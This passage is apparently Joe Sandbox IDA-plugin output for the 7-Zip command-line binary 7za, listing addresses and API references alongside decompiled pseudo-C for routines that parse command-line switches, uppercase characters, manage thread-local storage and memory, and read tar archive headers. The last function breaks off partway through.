0x0041abfc
0x0041ac02
0x0041ac0e
0x0041ac14
0x0041ac18
0x0041ac26
0x0041ac2b
0x0041ac30
0x0041ac3b
0x0041ac3b
0x0041aa71
0x0041aa71
0x0041aa71
0x0041aa74
0x0041aa77
0x0041aa7a
0x0041aa7d
0x0041aa85
0x0041aa8b
0x0041aa8d
0x0041aa8e
0x0041aa92
0x0041aa97
0x0041aa99
0x0041aa9c
0x0041aa9e
0x0041aaa2
0x0041aaa9
0x0041aab5
0x0041aab9
0x0041aabe
0x0041aac1
0x00000000
0x00000000
0x0041aac7
0x0041aaca
0x0041aad0
0x0041aad1
0x0041aad6
0x0041aadd
0x0041aae2
0x0041aae6
0x0041aae9
0x0041aaec
0x00000000
0x0041aaee
0x0041aaee
0x0041aaee
0x00000000
0x0041aaee
0x00000000
0x0041aaec
0x0041ac4e
0x0041ac54
0x0041ac57
0x0041ac66
0x0041ac6c
0x0041ac70
0x0041ac76
0x00000000
0x0041ac76
0x0041aa4b
0x0041aa51
0x0041aa53
0x0041aa23
0x0041ac7b
0x0041ac7e
0x0041ac82
0x0041ac8a
0x0041ac8e
0x0041ac96
0x0041ac9a
0x0041aca5
0x0041aca9
0x0041acb1
0x0041acb7
0x0041acc1
0x0041acc9
0x0041acce
0x0041acd9
0x0041acde
0x0041ac3d
0x0041ac42
0x0041ac4b

APIs

Part of subcall function 0041B838: __EH_prolog.LIBCMT ref: 0041B83D

Part of subcall function 0041B875: __EH_prolog.LIBCMT ref: 0041B87A

Part of subcall function 004036A1: __EH_prolog.LIBCMT ref: 004036A6

Part of subcall function 0040960A: FreeLibrary.KERNEL32(00000000,?,0040963A,?,?,00409660,00000000), ref: 00409614

Part of subcall function 0041BA22: __EH_prolog.LIBCMT ref: 0041BA27

Part of subcall function 0041AE89: __EH_prolog.LIBCMT ref: 0041AE8E

Part of subcall function 0041AE59: __EH_prolog.LIBCMT ref: 0041AE5E

Part of subcall function 004102DF: __EH_prolog.LIBCMT ref: 004102E4

Part of subcall function 00403411: __EH_prolog.LIBCMT ref: 00403416

__CxxThrowException@8.LIBC ref: 0041AA31

Part of subcall function 0046B8F4: RaiseException.KERNEL32(0047CF70,?,00405CA1,?,?,?,0047CF70,?,?,?,00405CA1), ref: 0046B922

GetProcAddress.KERNEL32(?,MAPISendDocuments,Mapi32.dll,00000000,?,?,?,?,?,00000003,?,00000000,00000000,00490AB0), ref: 0041AA3E
GetLastError.KERNEL32 ref: 0041AA4B
GetLastError.KERNEL32(?), ref: 0041AC4E

Part of subcall function 0041ACE8: __EH_prolog.LIBCMT ref: 0041ACED

Part of subcall function 00406796: __EH_prolog.LIBCMT ref: 0040679B

Strings

7-Zip cannot find MAPISendDocuments function, xrefs: 0041AA53
MAPISendDocuments, xrefs: 0041AA36

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 00406F05, Relevance: 7.7, APIs: 5, Instructions: 247

C-Code - Quality: 92%

			E00406F05(signed int* __ecx) {
				signed int _t113;
				signed int _t116;
				short* _t130;
				signed int* _t131;
				signed int _t132;
				void* _t133;
				signed int _t135;
				signed int _t136;
				signed int _t139;
				signed int _t150;
				signed int _t152;
				void* _t160;
				signed int _t163;
				signed int _t169;
				signed int _t174;
				intOrPtr _t178;
				intOrPtr _t179;
				signed int _t187;
				signed int _t196;
				signed int _t197;
				signed int _t199;
				signed int _t201;
				signed int _t203;
				intOrPtr _t204;
				signed int _t205;
				char* _t207;
				intOrPtr* _t210;
				void* _t213;

				E0046B890(E004736A0, _t213);
				_t207 =  *(_t213 + 8);
				 *(_t213 - 0x1c) = __ecx;
				_t199 = _t207[4];
				 *(_t213 - 0x18) = _t199;
				if(_t199 == 0) {
					L2:
					_t113 = 0;
					L58:
					 *[fs:0x0] =  *((intOrPtr*)(_t213 - 0xc));
					return _t113;
				}
				_t169 = 0;
				if(E004071ED( *( *_t207)) != 0) {
					__eflags = _t199;
					if(_t199 <= 0) {
						L57:
						_t113 = 1;
						goto L58;
					} else {
						while(1) {
							_t209 =  *_t207;
							_t116 = E004071ED( *((intOrPtr*)( *_t207 + _t169 * 2)));
							__eflags = _t116;
							if(_t116 != 0) {
								_t169 = _t169 + 1;
								__eflags = _t169;
							}
							 *(_t213 - 0x14) =  *(_t213 - 0x14) | 0xffffffff;
							_t174 = 0;
							__eflags =  *( *(_t213 - 0x1c));
							 *(_t213 - 0x20) = 0;
							 *(_t213 - 0x10) = 0;
							if( *( *(_t213 - 0x1c)) <= 0) {
								break;
							}
							_t210 =  *((intOrPtr*)(_t213 + 0xc));
							do {
								_t130 =  *_t210;
								_t201 = 0;
								__eflags = 0;
								while(1) {
									__eflags =  *_t130;
									if( *_t130 == 0) {
										goto L13;
									}
									_t201 = _t201 + 1;
									_t130 = _t130 + 2;
								}
								L13:
								__eflags = _t201 -  *(_t213 - 0x14);
								if(_t201 >  *(_t213 - 0x14)) {
									__eflags = _t201 + _t169 -  *(_t213 - 0x18);
									if(_t201 + _t169 <=  *(_t213 - 0x18)) {
										E00403532(_t213 - 0x34,  *( *(_t213 + 8)) + _t169 * 2);
										 *(_t213 - 4) =  *(_t213 - 4) & 0x00000000;
										_t160 = E00407399(_t213 - 0x34, _t213 - 0x4c, _t201);
										 *(_t213 - 4) = 1;
										E00401E26(_t213 - 0x34, _t160);
										 *(_t213 - 4) =  *(_t213 - 4) & 0x00000000;
										E00407A18( *((intOrPtr*)(_t213 - 0x4c)));
										_t163 = E0040807A( *_t210);
										__eflags = _t163;
										if(_t163 == 0) {
											 *(_t213 - 0x14) = _t201;
											 *(_t213 - 0x20) =  *(_t213 - 0x10);
										}
										_t35 = _t213 - 4;
										 *_t35 =  *(_t213 - 4) | 0xffffffff;
										__eflags =  *_t35;
										E00407A18( *((intOrPtr*)(_t213 - 0x34)));
										_t174 =  *(_t213 - 0x20);
									}
								}
								 *(_t213 - 0x10) =  *(_t213 - 0x10) + 1;
								_t131 =  *(_t213 - 0x1c);
								_t210 = _t210 + 0x18;
								__eflags =  *(_t213 - 0x10) -  *_t131;
							} while ( *(_t213 - 0x10) <  *_t131);
							__eflags =  *(_t213 - 0x14) - 0xffffffff;
							if( *(_t213 - 0x14) == 0xffffffff) {
								break;
							}
							_t209 = _t174 * 0x1c + _t131[1];
							_t132 = _t174 + _t174 * 2;
							_t178 =  *((intOrPtr*)(_t213 + 0xc));
							__eflags =  *((char*)(_t178 + 8 + _t132 * 8));
							_t133 = _t178 + _t132 * 8;
							if( *((char*)(_t178 + 8 + _t132 * 8)) != 0) {
								L22:
								_t169 = _t169 +  *(_t213 - 0x14);
								 *_t209 = 1;
								_t179 =  *((intOrPtr*)(_t133 + 4));
								_t203 =  *(_t213 - 0x18) - _t169;
								__eflags = _t179 - 1;
								if(__eflags == 0) {
									__eflags = _t203;
									if(_t203 != 0) {
										_t135 =  *( *(_t213 + 8));
										__eflags =  *((short*)(_t135 + _t169 * 2)) - 0x2d;
										_t136 = _t135 & 0xffffff00 |  *((short*)(_t135 + _t169 * 2)) == 0x0000002d;
										__eflags = _t136;
										 *(_t209 + 1) = _t136;
										if(_t136 != 0) {
											_t169 = _t169 + 1;
											__eflags = _t169;
										}
									} else {
										 *(_t209 + 1) =  *(_t209 + 1) & 0x00000000;
									}
									L50:
									__eflags = _t169 -  *(_t213 - 0x18);
									if(_t169 <  *(_t213 - 0x18)) {
										_t207 =  *(_t213 + 8);
										continue;
									}
									goto L57;
								}
								if(__eflags <= 0) {
									goto L50;
								}
								__eflags = _t179 - 3;
								if(_t179 <= 3) {
									_t196 =  *(_t133 + 0xc);
									__eflags = _t203 - _t196;
									 *(_t213 - 0x20) = _t196;
									if(_t203 < _t196) {
										L55:
										 *(_t213 - 0x28) = "switch is not full";
										E0046B8F4(_t213 - 0x28, 0x47cf70);
										L56:
										_push(E004072C9( *(_t213 + 8), _t213 - 0x64, _t169));
										 *(_t213 - 4) = 2;
										E00406796(_t209 + 4);
										E00407A18( *((intOrPtr*)(_t213 - 0x64)));
										goto L57;
									}
									__eflags = _t179 - 3;
									if(_t179 == 3) {
										goto L56;
									}
									_t204 =  *((intOrPtr*)(_t133 + 0x10));
									_push(_t196);
									_push(_t169);
									_push(_t213 - 0x40);
									E004072EA( *(_t213 + 8));
									_t139 =  *(_t213 - 0x20);
									 *(_t213 - 4) = 3;
									_t169 = _t169 + _t139;
									__eflags = _t139 - _t204;
									 *(_t213 - 0x14) = _t139;
									if(_t139 >= _t204) {
										L44:
										_t84 = _t209 + 4; // 0x8
										_push(_t213 - 0x40);
										E00406796(_t84);
										_t85 = _t213 - 4;
										 *_t85 =  *(_t213 - 4) | 0xffffffff;
										__eflags =  *_t85;
										_push( *((intOrPtr*)(_t213 - 0x40)));
										L45:
										E00407A18();
										goto L50;
									} else {
										goto L41;
									}
									while(1) {
										L41:
										__eflags = _t169 -  *(_t213 - 0x18);
										if(_t169 >=  *(_t213 - 0x18)) {
											goto L44;
										}
										 *(_t213 - 0x20) =  *( *( *(_t213 + 8)) + _t169 * 2);
										__eflags = E004071ED( *( *( *(_t213 + 8)) + _t169 * 2));
										if(__eflags != 0) {
											goto L44;
										}
										E004054FE(_t213 - 0x40, _t196, __eflags,  *(_t213 - 0x20));
										 *(_t213 - 0x14) =  *(_t213 - 0x14) + 1;
										_t169 = _t169 + 1;
										__eflags =  *(_t213 - 0x14) - _t204;
										if( *(_t213 - 0x14) < _t204) {
											continue;
										}
										goto L44;
									}
									goto L44;
								}
								__eflags = _t179 - 4;
								if(_t179 != 4) {
									goto L50;
								}
								__eflags = _t203 -  *(_t133 + 0xc);
								if(_t203 <  *(_t133 + 0xc)) {
									L54:
									 *(_t213 - 0x24) = "switch is not full";
									E0046B8F4(_t213 - 0x24, 0x47cf70);
									goto L55;
								}
								E00403532(_t213 - 0x58,  *((intOrPtr*)(_t133 + 0x14)));
								__eflags = _t203;
								_t205 =  *(_t213 - 0x58);
								if(_t203 != 0) {
									_t197 =  *_t205;
									_t150 = _t205;
									_t187 =  *( *( *(_t213 + 8)) + _t169 * 2);
									while(1) {
										__eflags = _t197 - _t187;
										if(_t197 == _t187) {
											break;
										}
										__eflags = _t197;
										if(_t197 == 0) {
											_t152 = _t150 | 0xffffffff;
											__eflags = _t152;
											L35:
											__eflags = _t152;
											if(_t152 < 0) {
												goto L28;
											}
											 *(_t209 + 0x18) = _t152;
											_t169 = _t169 + 1;
											__eflags = _t169;
											L37:
											_push(_t205);
											goto L45;
										}
										_t150 = _t150 + 2;
										_t197 =  *_t150;
									}
									_t152 = _t150 - _t205 >> 1;
									goto L35;
								}
								L28:
								 *(_t209 + 0x18) =  *(_t209 + 0x18) | 0xffffffff;
								goto L37;
							}
							__eflags =  *_t209;
							if( *_t209 != 0) {
								L53:
								 *(_t213 + 8) = "switch must be single";
								E0046B8F4(_t213 + 8, 0x47cf70);
								goto L54;
							}
							goto L22;
						}
						 *(_t213 + 8) = "maxLen == kNoLen";
						E0046B8F4(_t213 + 8, 0x47cf70);
						goto L53;
					}
				}
				goto L2;
			}

0x00406f0a
0x00406f14
0x00406f18
0x00406f1b
0x00406f20
0x00406f23
0x00406f35
0x00406f35
0x004071dc
0x004071e2
0x004071ea
0x004071ea
0x00406f27
0x00406f33
0x00406f3c
0x00406f3e
0x004071da
0x004071da
0x00000000
0x00406f44
0x00406f49
0x00406f49
0x00406f4f
0x00406f54
0x00406f56
0x00406f58
0x00406f58
0x00406f58
0x00406f5c
0x00406f60
0x00406f62
0x00406f64
0x00406f67
0x00406f6a
0x00000000
0x00000000
0x00406f70
0x00406f73
0x00406f73
0x00406f75
0x00406f75
0x00406f77
0x00406f77
0x00406f7b
0x00000000
0x00000000
0x00406f7d
0x00406f7f
0x00406f7f
0x00406f82
0x00406f82
0x00406f85
0x00406f8a
0x00406f8d
0x00406f9b
0x00406fa0
0x00406fac
0x00406fb5
0x00406fb9
0x00406fc1
0x00406fc5
0x00406fd0
0x00406fd5
0x00406fd7
0x00406fdc
0x00406fdf
0x00406fdf
0x00406fe5
0x00406fe5
0x00406fe5
0x00406fe9
0x00406fef
0x00406fef
0x00406f8d
0x00406ff2
0x00406ff5
0x00406ffb
0x00406ffe
0x00406ffe
0x00407006
0x0040700a
0x00000000
0x00000000
0x00407015
0x00407018
0x0040701b
0x0040701e
0x00407023
0x00407026
0x00407031
0x00407031
0x00407037
0x0040703a
0x0040703d
0x0040703f
0x00407042
0x00407136
0x00407138
0x00407143
0x00407145
0x0040714a
0x0040714d
0x0040714f
0x00407152
0x00407154
0x00407154
0x00407154
0x0040713a
0x0040713a
0x0040713a
0x00407155
0x00407155
0x00407158
0x00406f46
0x00000000
0x00406f46
0x00000000
0x0040715e
0x00407048
0x00000000
0x00000000
0x0040704e
0x00407051
0x004070b0
0x004070b3
0x004070b5
0x004070b8
0x0040719f
0x004071a8
0x004071af
0x004071b4
0x004071c1
0x004071c5
0x004071cc
0x004071d4
0x00000000
0x004071d9
0x004070be
0x004070c1
0x00000000
0x00000000
0x004070c7
0x004070cd
0x004070d1
0x004070d2
0x004070d3
0x004070d8
0x004070db
0x004070e2
0x004070e4
0x004070e6
0x004070e9
0x0040711b
0x0040711e
0x00407121
0x00407122
0x00407127
0x00407127
0x00407127
0x0040712b
0x0040712e
0x0040712e
0x00000000
0x00000000
0x00000000
0x00000000
0x004070eb
0x004070eb
0x004070eb
0x004070ee
0x00000000
0x00000000
0x004070fb
0x00407103
0x00407105
0x00000000
0x00000000
0x0040710d
0x00407112
0x00407115
0x00407116
0x00407119
0x00000000
0x00000000
0x00000000
0x00407119
0x00000000
0x004070eb
0x00407053
0x00407056
0x00000000
0x00000000
0x0040705c
0x0040705f
0x0040718a
0x00407193
0x0040719a
0x00000000
0x0040719a
0x0040706b
0x00407070
0x00407072
0x00407075
0x00407080
0x00407085
0x00407087
0x0040708b
0x0040708b
0x0040708e
0x00000000
0x00000000
0x00407090
0x00407093
0x004070a2
0x004070a2
0x004070a5
0x004070a5
0x004070a7
0x00000000
0x00000000
0x004070a9
0x004070ac
0x004070ac
0x004070ad
0x004070ad
0x00000000
0x004070ad
0x00407096
0x00407097
0x00407097
0x0040709e
0x00000000
0x0040709e
0x00407077
0x00407077
0x00000000
0x00407077
0x00407028
0x0040702b
0x00407175
0x0040717e
0x00407185
0x00000000
0x00407185
0x00000000
0x0040702b
0x00407169
0x00407170
0x00000000
0x00407170
0x00406f3e
0x00000000

APIs

__EH_prolog.LIBCMT ref: 00406F0A

Part of subcall function 004072EA: __EH_prolog.LIBCMT ref: 004072EF

__CxxThrowException@8.LIBC ref: 00407170

Part of subcall function 0046B8F4: RaiseException.KERNEL32(0047CF70,?,00405CA1,?,?,?,0047CF70,?,?,?,00405CA1), ref: 0046B922

__CxxThrowException@8.LIBC ref: 00407185
__CxxThrowException@8.LIBC ref: 0040719A
__CxxThrowException@8.LIBC ref: 004071AF

Part of subcall function 00406796: __EH_prolog.LIBCMT ref: 0040679B

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 00407E4F, Relevance: 7.6, APIs: 5, Instructions: 57

C-Code - Quality: 83%

			E00407E4F(signed int __ecx) {
				short _v6;
				char _v12;
				short _t12;
				short _t27;
				int _t29;
				void* _t30;

				_push(__ecx);
				_push(__ecx);
				_v6 = __ecx;
				if(__ecx != 0) {
					_t27 = CharUpperW(__ecx & 0x0000ffff);
					if(_t27 != 0 || GetLastError() != 0x78) {
						_t12 = _t27;
					} else {
						_t29 = WideCharToMultiByte(0, 0,  &_v6, 1,  &_v12, 4, 0, 0);
						if(_t29 != 0 && _t29 <= 4) {
							 *((char*)(_t30 + _t29 - 8)) = 0;
							CharUpperA( &_v12);
							MultiByteToWideChar(0, 0,  &_v12, _t29,  &_v6, 1);
						}
						_t12 = _v6;
					}
				} else {
					_t12 = 0;
				}
				return _t12;
			}

0x00407e52
0x00407e53
0x00407e5b
0x00407e5f
0x00407e70
0x00407e74
0x00407ec9
0x00407e81
0x00407e97
0x00407e9b
0x00407ea5
0x00407eaa
0x00407ebd
0x00407ebd
0x00407ec3
0x00407ec3
0x00407e61
0x00407e61
0x00407e61
0x00407ecf

APIs

CharUpperW.USER32(00000000), ref: 00407E6A
GetLastError.KERNEL32(?,0040809A), ref: 00407E76
WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,?,00000004,00000000,00000000,?,0040809A), ref: 00407E91
CharUpperA.USER32(?), ref: 00407EAA
MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000000,?,00000001,?,0040809A), ref: 00407EBD

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 0046E383, Relevance: 7.5, APIs: 5, Instructions: 38

C-Code - Quality: 100%

			E0046E383() {
				void _t10;
				long _t15;
				void* _t16;

				_t15 = GetLastError();
				_t16 = TlsGetValue( *0x48e060);
				if(_t16 == 0) {
					_t16 = E0046FE93(1, 0x74);
					if(_t16 == 0 || TlsSetValue( *0x48e060, _t16) == 0) {
						E0046D03C(0x10);
					} else {
						E0046E370(_t16);
						_t10 = GetCurrentThreadId();
						 *(_t16 + 4) =  *(_t16 + 4) | 0xffffffff;
						 *_t16 = _t10;
					}
				}
				SetLastError(_t15);
				return _t16;
			}

0x0046e391
0x0046e399
0x0046e39d
0x0046e3a8
0x0046e3ae
0x0046e3d8
0x0046e3c1
0x0046e3c2
0x0046e3c8
0x0046e3ce
0x0046e3d2
0x0046e3d2
0x0046e3ae
0x0046e3df
0x0046e3e9

APIs

GetLastError.KERNEL32(00000103,7FFFFFFF,0047064B,004710B4,00000000,?,?,00000000,00000001), ref: 0046E385
TlsGetValue.KERNEL32(?,?,00000000,00000001), ref: 0046E393
SetLastError.KERNEL32(00000000,?,?,00000000,00000001), ref: 0046E3DF

Part of subcall function 0046FE93: HeapAlloc.KERNEL32(00000008,?,00000000,00000000,00000001,0046E3A8,00000001,00000074,?,?,00000000,00000001), ref: 0046FF89

TlsSetValue.KERNEL32(00000000,?,?,00000000,00000001), ref: 0046E3B7
GetCurrentThreadId.KERNEL32(?,?,00000000,00000001), ref: 0046E3C8

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 0046F74E, Relevance: 7.5, APIs: 2, Strings: 3, Instructions: 27

C-Code - Quality: 100%

			E0046F74E(void* _a4) {
				int _t7;
				void* _t13;
				void* _t14;

				_t13 = _a4;
				_t7 = VirtualFree( *(_t13 + 0x10), 0, 0x8000);
				_t14 =  *0x490158 - _t13; // 0x48e138
				if(_t14 == 0) {
					_t7 =  *(_t13 + 4);
					 *0x490158 = _t7;
				}
				if(_t13 == 0x48e138) {
					 *0x48e148 =  *0x48e148 | 0xffffffff;
					return _t7;
				} else {
					 *( *(_t13 + 4)) =  *_t13;
					 *( *_t13 + 4) =  *(_t13 + 4);
					return HeapFree( *0x496580, 0, _t13);
				}
			}

0x0046f74f
0x0046f75d
0x0046f763
0x0046f769
0x0046f76b
0x0046f76e
0x0046f76e
0x0046f779
0x0046f79b
0x0046f7a3
0x0046f77b
0x0046f783
0x0046f78a
0x0046f79a
0x0046f79a

APIs

VirtualFree.KERNEL32(000000FF,00000000,00008000,8H,0046F84E,8H,00000000,00000000,00000000,00000000,?,0046F900,00000010,0046C1AA,00000000,?), ref: 0046F75D
HeapFree.KERNEL32(00000000,?), ref: 0046F793

Strings

8H, xrefs: 0046F773
8H, xrefs: 0046F74E
8H, xrefs: 0046F763, 0046F76E

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 00438A2E, Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 286

C-Code - Quality: 75%

			E00438A2E(intOrPtr __ecx, signed char* __edx, void* __eflags) {
				void* __esi;
				signed int _t109;
				signed int _t114;
				signed int _t115;
				signed int _t116;
				signed int* _t124;
				signed int _t125;
				signed int _t127;
				signed int _t129;
				signed int _t140;
				signed int _t143;
				signed int _t146;
				signed int _t150;
				signed int* _t153;
				signed int _t154;
				void* _t156;
				void* _t157;
				signed int* _t176;
				void* _t181;
				void* _t204;
				void* _t219;
				void* _t223;
				void* _t226;
				void* _t227;
				void* _t228;
				intOrPtr _t233;
				signed char** _t240;
				signed int* _t242;
				signed int* _t243;
				void* _t244;
				intOrPtr _t251;
				void* _t253;

				E0046B890(E00478310, _t253);
				_t240 =  *(_t253 + 0xc);
				 *(_t253 + 0xf) =  *(_t253 + 0xf) & 0x00000000;
				 *((intOrPtr*)(_t253 - 0x20)) = __edx;
				_t240[1] = _t240[1] & 0x00000000;
				 *((intOrPtr*)(_t253 - 0x28)) = __ecx;
				 *( *_t240) =  *( *_t240) & 0x00000000;
				 *__edx =  *__edx & 0x00000000;
				 *((intOrPtr*)(_t253 - 0x10)) = 0x200;
				_t109 = E0040FA74(__ecx, _t253 - 0x24c, _t253 - 0x10);
				if(_t109 != 0) {
					L41:
					 *[fs:0x0] =  *((intOrPtr*)(_t253 - 0xc));
					return _t109;
				}
				_t251 =  *((intOrPtr*)(_t253 + 8));
				while( *((intOrPtr*)(_t253 - 0x10)) != 0) {
					if( *((intOrPtr*)(_t253 - 0x10)) != 0x200) {
						_push("There is no correct record at the end of archive");
						L12:
						E00409664(_t240);
						L13:
						_t109 = 0;
						goto L41;
					}
					 *((intOrPtr*)(_t251 + 0x68)) =  *((intOrPtr*)(_t251 + 0x68)) + 0x200;
					if(E00438E5B(_t253 - 0x24c) == 0) {
						__eflags =  *(_t253 + 0xf);
						if( *(_t253 + 0xf) == 0) {
							_push(_t251);
							_t219 = 0x64;
							E00438E71(_t253 - 0x24c, _t219);
							_push(_t251 + 0x18);
							_t181 = 8;
							_t114 = E00438E29(_t253 - 0x1e8);
							__eflags = _t114;
							if(_t114 == 0) {
								L26:
								_t109 = 1;
								goto L41;
							}
							_t242 = _t251 + 0x1c;
							_t115 = E00438E29(_t253 - 0x1e0, _t242);
							__eflags = _t115;
							if(_t115 == 0) {
								 *_t242 =  *_t242 & 0x00000000;
								__eflags =  *_t242;
							}
							_t243 = _t251 + 0x20;
							_t116 = E00438E29(_t253 - 0x1d8, _t243);
							__eflags = _t116;
							if(_t116 == 0) {
								 *_t243 =  *_t243 & 0x00000000;
								__eflags =  *_t243;
							}
							__eflags = (((( *(_t253 - 0x1d0) & 0x000000ff) << 0x00000008 |  *(_t253 - 0x1cf) & 0x000000ff) << 0x00000008 |  *(_t253 - 0x1ce) & 0x000000ff) << 0x00000008 |  *(_t253 - 0x1cd) & 0x000000ff) - 0x80000000;
							_t124 = _t251 + 0x10;
							 *(_t253 + 0xc) = _t124;
							if((((( *(_t253 - 0x1d0) & 0x000000ff) << 0x00000008 |  *(_t253 - 0x1cf) & 0x000000ff) << 0x00000008 |  *(_t253 - 0x1ce) & 0x000000ff) << 0x00000008 |  *(_t253 - 0x1cd) & 0x000000ff) != 0x80000000) {
								_push(_t124);
								_t223 = 0xc;
								_t125 = E00438DD3(_t253 - 0x1d0, _t223, _t251);
								__eflags = _t125;
								if(_t125 == 0) {
									goto L26;
								}
								goto L22;
							} else {
								_t176 =  *(_t253 + 0xc);
								 *_t176 = ((( *(_t253 - 0x1c8) & 0x000000ff) << 0x00000008 |  *(_t253 - 0x1c7) & 0x000000ff) << 0x00000008 |  *(_t253 - 0x1c6) & 0x000000ff) << 0x00000008 |  *(_t253 - 0x1c5) & 0x000000ff;
								_t176[1] = ((( *(_t253 - 0x1cc) & 0x000000ff) << 0x00000008 |  *(_t253 - 0x1cb) & 0x000000ff) << 0x00000008 |  *(_t253 - 0x1ca) & 0x000000ff) << 0x00000008 |  *(_t253 - 0x1c9) & 0x000000ff;
								L22:
								_push(_t251 + 0x24);
								_t127 = E00438E29(_t253 - 0x1c4, 0xc);
								__eflags = _t127;
								if(_t127 == 0) {
									goto L26;
								}
								_t129 = E00438E29(_t253 - 0x1b8, _t253 - 0x24);
								__eflags = _t129;
								if(_t129 == 0) {
									goto L26;
								}
								E0046C5C0(_t253 - 0x1b8,  *0x48d374, _t181);
								 *((char*)(_t251 + 0x5c)) =  *((intOrPtr*)(_t253 - 0x1b0));
								_push(_t251 + 0x30);
								_t226 = 0x64;
								E00438E71(_t253 - 0x1af, _t226);
								_t244 = _t251 + 0x54;
								E0046C5C0(_t244, _t253 - 0x14b, _t181);
								_push(_t251 + 0x3c);
								_t227 = 0x20;
								E00438E71(_t253 - 0x143, _t227);
								_push(_t251 + 0x48);
								_t228 = 0x20;
								_t140 = E00438E71(_t253 - 0x123, _t228);
								__eflags =  *((char*)(_t253 - 0x103));
								 *((char*)(_t251 + 0x5d)) = _t140 & 0xffffff00 |  *((char*)(_t253 - 0x103)) != 0x00000000;
								_t143 = E00438E29(_t253 - 0x103, _t251 + 0x28);
								__eflags = _t143;
								if(_t143 == 0) {
									goto L26;
								}
								__eflags =  *((char*)(_t253 - 0xfb));
								 *((char*)(_t251 + 0x5e)) = _t143 & 0xffffff00 |  *((char*)(_t253 - 0xfb)) != 0x00000000;
								_t146 = E00438E29(_t253 - 0xfb, _t251 + 0x2c);
								__eflags = _t146;
								if(_t146 != 0) {
									 *((intOrPtr*)(_t253 - 0x1c)) = 0;
									 *(_t253 - 0x18) = 0;
									 *((intOrPtr*)(_t253 - 0x14)) = 0;
									E00401EEE(_t253 - 0x1c, 3);
									 *((intOrPtr*)(_t253 - 4)) = 0;
									E00438E71(_t253 - 0xf3, 0x9b, _t253 - 0x1c);
									__eflags =  *(_t253 - 0x18);
									if( *(_t253 - 0x18) == 0) {
										L33:
										__eflags =  *((char*)(_t251 + 0x5c)) - 0x31;
										if( *((char*)(_t251 + 0x5c)) == 0x31) {
											_t153 =  *(_t253 + 0xc);
											 *_t153 = 0;
											_t153[1] = 0;
										}
										_t204 = 0;
										_t150 = 0;
										__eflags = 0;
										do {
											_t204 = _t204 + ( *(_t253 + _t150 - 0x24c) & 0x000000ff);
											_t150 = _t150 + 1;
											__eflags = _t150 - 0x200;
										} while (_t150 < 0x200);
										__eflags = _t204 -  *((intOrPtr*)(_t253 - 0x24));
										if(_t204 ==  *((intOrPtr*)(_t253 - 0x24))) {
											__eflags = 0;
											 *((char*)( *((intOrPtr*)(_t253 - 0x20)))) = 1;
